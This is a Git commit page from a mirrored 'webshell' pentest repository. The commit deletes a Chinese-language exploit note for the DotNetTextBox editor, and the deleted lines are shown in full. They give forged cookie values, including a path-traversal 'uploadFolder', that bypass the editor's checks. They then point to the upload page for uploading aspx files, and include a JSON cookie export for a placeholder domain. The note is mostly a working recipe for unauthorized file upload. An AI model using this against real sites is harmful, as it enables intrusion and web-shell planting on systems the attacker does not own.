PenTest/webshell
1
0
Fork 0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 04:41:28 +00:00
Code Issues Projects Releases Wiki Activity

delete DotNetTextBox

Browse Source
This commit is contained in:
tennc
2013-06-06 08:24:42 +08:00
parent d267416af6
commit 5caf324002
1 changed files with 0 additions and 64 deletions
Download Patch File Download Diff File Expand all files Collapse all files

64
other/DotNetTextBox-bug
View File

@@ -1,64 +0,0 @@
DotNetTextBox编辑器漏洞
修改cookie为：
cookie:UserType=0; IsEdition=0; Info=1; uploadFolder=../system_dntb/;
之后浏览 xxx.com/system_dntb/uploadFile.aspx/uploadFile.aspx
即可上传
如不行 则在system_dntb/Advanced.aspx添加 aspx or别的类型
[{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "UserType",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "0"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "IsEdition",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "0"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "Info",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "1"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "uploadFolder",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "../system_dntb/"
}]